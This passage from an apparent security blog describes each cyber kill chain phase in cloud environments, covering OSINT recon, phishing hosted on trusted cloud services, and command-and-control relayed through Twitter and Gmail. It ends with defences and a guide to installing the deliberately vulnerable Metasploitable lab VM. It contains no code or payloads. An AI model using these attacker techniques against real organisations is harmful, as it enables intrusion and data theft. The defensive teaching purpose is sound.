I will now elaborate on each of these stages and how they apply in a cloud environment.

Recon

During the reconnaissance or information gathering phase, threat actors collect as much information about the intended target as possible. This data often comes from external sources allowing the attacker to avoid contact with the target until absolutely necessary.

A motivated attacker will leave no stone unturned when searching for information about a target.

Attackers use a wealth of intelligence gathering techniques and sometimes may spend months gathering information about a target. Careful analysis and application of this information can allow attackers to carefully tailor an attack with a higher probability of succeeding.

Anonymous Recon with OSINT

Open-Source Intelligence (OSINT) is the act of collecting information from publicly available sources. For instance, an attacker may crawl an organization’s Facebook page to identify potential employees. When an attacker collects information from publicly available sources they gain information about a target without needing to interact with them directly.

See my Open Source Intelligence Primer for a more in-depth look at the reconnaissance phase.

The less direct contact between the attacker and the target the less chance of being detected. For this reason, attackers will avoid contact with their target through any direct means until it is time to strike.

Public registry databases such as WHOIS provide a wealth of information about targets including IP addresses, phone numbers, technical contacts and email addresses. Armed with this information, attackers can launch very convincing spear phishing attacks during the delivery phase.

Attackers may also scour social media sites such as Facebook, LinkedIn and Twitter. Doing so may reveal further information about employees, their schedules, and their habits.

Social Engineering with Social Media

Employees are often less conscious of the security implications of posting to social media and other cloud services.

It is not entirely uncommon for a system administrator to inadvertently leak sensitive information when using public cloud services. In fact, a North Carolina State University (NCSU) study of public Github repositories revealed leaked credentials in over 100,000 Github repositories.

With a list of viable emails and usernames in hand, an attacker will then search for matching online accounts. This may reveal passwords available in a recent data breach. Unfortunately many users re-use passwords across many services, and are often slow to change their passwords after a breach.

The explosion of cloud computing has vastly increased the amount of information available to an attacker. Simply collecting all of this information serves little use to an attacker. An attacker must now analyze and weaponize the collected information. From there an attacker can develop a strategy for exploiting any discovered weaknesses.

In the following section I describe how an attacker prepares to strike by weaponizing the information they have collected thus far.

Weaponize

After performing thorough reconnaissance of a target, an attacker will have a pretty good idea of where and how to strike.

In the weaponize phase an attacker builds their ‘cyber weapons’ and prepares to strike the target. If the attack involves deploying malware it will need to be hosted somewhere. Similarly, if the attack involves phishing emails, then the attacker will need to craft the email bodies.

This phase may use information gathered during the reconnaissance phase to develop attacks specific to a target.

Cybercriminals automate too…

One of the greatest benefits of cloud computing is the ease of automation. Of course cybercriminals take advantage of the benefits of automation as well. Automation allows for quickly provisioning infrastructure. This significantly reduces the time between the reconnaissance phase, and the actual strike.

Creation of phishing pages, malware hosts, and command and control infrastructure can all be accomplished in a matter of minutes using common automation tools such as Puppet, Chef, or Ansible.

Attackers also use generic cloud resources to host their command and control infrastructure greatly increasing resilience against take downs.

One recent example I have encountered in the wild is the use of Azure Pages for hosting phishing sites. Hosting phishing pages on a trusted cloud provider such as Azure has the added benefit of providing a trusted domain. Traditional firewalls will typically not catch this kind of traffic.

After an attacker has finished setting up their infrastructure they will deliver their intended payload.

Deliver

This is where the attack begins in earnest. During the delivery phase the attacker delivers the malicious payload to the intended victim. This delivery can take the form of a phishing email, a watering hole attack, a supply chain attack, or even a dropped USB drive.

With almost everything in the cloud these days it seems obvious that malicious payloads and phishing pages are served from the cloud as well.

This can take the form of a cloud hosted download server, or a publicly available file-sharing site. Attackers have used popular services such as Pastebin, Github, or even Pinterest and Instagram to deliver their payloads.

Trusted services, the Trojan horses of the Internet

Using common services such as Google Drive also helps bypass the ‘human firewall’. Users are much more likely to trust a link directing them to a known site with a valid certificate.

Luckily many users are smart enough not to click links directing them to a random domain. However, are those same users as wary of clicking links that lead them to a document in Google Drive?

Attackers constantly refine their delivery techniques. The vast number of different delivery methods grows every day and evolves quickly to take advantage of new weaknesses.

Exploit

After the malicious payload has been delivered it must exploit the system before it becomes active. While an exploit may attack a system vulnerability, an attacker may also attempt to exploit the user. For example, a downloaded Word document may entice the user to activate macros to view the full document.

During the exploit phase the attacker will exploit any vulnerabilities found during the reconnaissance phase. Due to the number of unpatched systems in the wild it is not uncommon for an attacker to have a number of previously disclosed vulnerabilities to draw from.

Occasionally an attacker will take advantage of a previously unknown vulnerability with a zero-day exploit.

Other attacks may make use of browser vulnerabilities with drive-by sites which contain malicious Javascript code. Simply browsing to a malicious website may trigger such an exploit.

Accelerating expansion of cloud computing provides an increasing attack surface with numerous attacks targeting unprotected credentials, weak passwords, and poorly configured or default systems.

Install

Once the initial exploit has taken place the attacker will begin to install their malicious payload. The installation phase usually consists of a series of installations. For example, the initial exploit may download a reconnaissance tool to gather further system information. Depending on the information returned the attacker may then deploy a more specific malicious payload such as a key logger, banking trojan, or crypto miner.

Callback

Cybercriminals do not simply want to exploit systems for the fun of it, well most of them anyways. Instead most cybercriminals want to exploit systems for personal gain. In order to extract information that can be exploited for financial or other gain, the malicious payload must send this information back to the attackers.

This transfer of data occurs during the callback phase. The callback phase is how attackers control their new asset. This connection can be used to extract information, add the compromised host to a botnet, or attack other systems on the network.

Public Cloud Callback

In their ongoing struggle to evade detection, attackers use commonly available public services to mask their command and control activities. For instance, the Twittor project relay’s commands using the Twitter API.

Similarly, the Gcat project executes commands through Google’s Gmail. By using popular public services, malicious traffic is more likely to bypass firewalls, and has the added benefit of blending in with regular traffic.

The use of public services also provides resilience for the attackers infrastructure. Continuing with the Twitter example, all malicious traffic gets routed through Twitter’s servers. This makes investigations much more difficult as the traffic cannot be easily traced back to the attackers system.

Persist

Most attackers will not simply pack up and go home once they have penetrated a network. In the final phase of the cyber kill chain attackers will use whatever foothold they have gained and implement some form of persistence mechanism for long time personal gain.

The longer an attack remains undetected, the longer an attacker can exploit their target.

Once a foothold has been established in a victim network attackers can begin to further exploit the target. This may involve extracting valuable information, defacing websites, launching a denial-of-service attack, or moving laterally throughout the organizations network.

Lateral movement happens very quickly in a cloud environment. With many cloud administrators focusing on perimeter security, private networks within a cloud usually operate with very open permissions. Once a system in this network has been compromised it is very easy for an attacker to compromise other systems in the network.

Attackers use the cyber kill chain…so should you!

In this post I have elaborated on the various stages of the cyber kill chain, and how these stages apply in a cloud environment. When keeping systems secure it helps to take on the attacker’s mindset and understand their goals and techniques. The cyber kill chain describes the series of steps that an attacker may follow. When implementing security for a system it always helps to use a defense in depth approach.

Some form of security can be applied to each phase of the cyber kill chain. For example, limiting leakage of sensitive information to public resources will limit the amount of information available during reconnaissance. Keeping systems patched will make it harder for attackers to weaponize and develop exploits. An effective spam filter will help mitigate delivery of phishing emails. Similarly, installing an effective personal anti malware software can prevent the initial exploit from even occurring, and an effective firewall can prevent a successful callback from reaching the attacker.

I hope this post has increased your understanding of the cyber kill chain in the cloud. If you have any questions, please leave a comment below and I will leave you an answer!
January 31, 2020
How to Install Metasploitable in VirtualBox

In this article I go over how to install Metasploitable in VirtualBox. Metasploitable is a virtual machine with several intentional misconfigurations and vulnerabilities for you to exploit. This is a great tool for sharpening your penetration testing skills.

You can definitely get Metasploitable up and running with out a full lab, but I highly recommend you build a virtual penetration testing lab first.

Download Metasploitable

Grab a copy of the Metasploitable virtual machine at: SourceForge

Grab Metasploitable over at SourceForge

While you are waiting for the file to download you can start setting up the VM.

Create the VirtualBox VM

Create a new virtual machine in Virtual Box. Give the machine a descriptive name, and select Linux as the type.

Use an Existing Hard Disk

During the installation select Use an Existing Hard Disk File and select the downloaded Metasploitable vmdk file.

Once the machine has been created, go ahead and fire it up.

Start the VM

After the initial boot process you will be greeted by the Metasploitable login screen. The default username is “msfadmin”, and the default password is also “msfadmin”.

That is all it takes to install Metasploitable. Now you may be wondering where to begin…

Where to Start in Metasploitable

It can be overwhelming if you have no idea how to start. Running a simple nmap scan against Metasploitable should give you plenty of avenues to explore.

If you are still having trouble, there are tons of guides available for hacking your way through Metasploitable.

You may also find the cyber kill chain to be a good framework for pentesting any system.

Feel free to drop a comment below with any Metasploitable questions!

January 30, 2020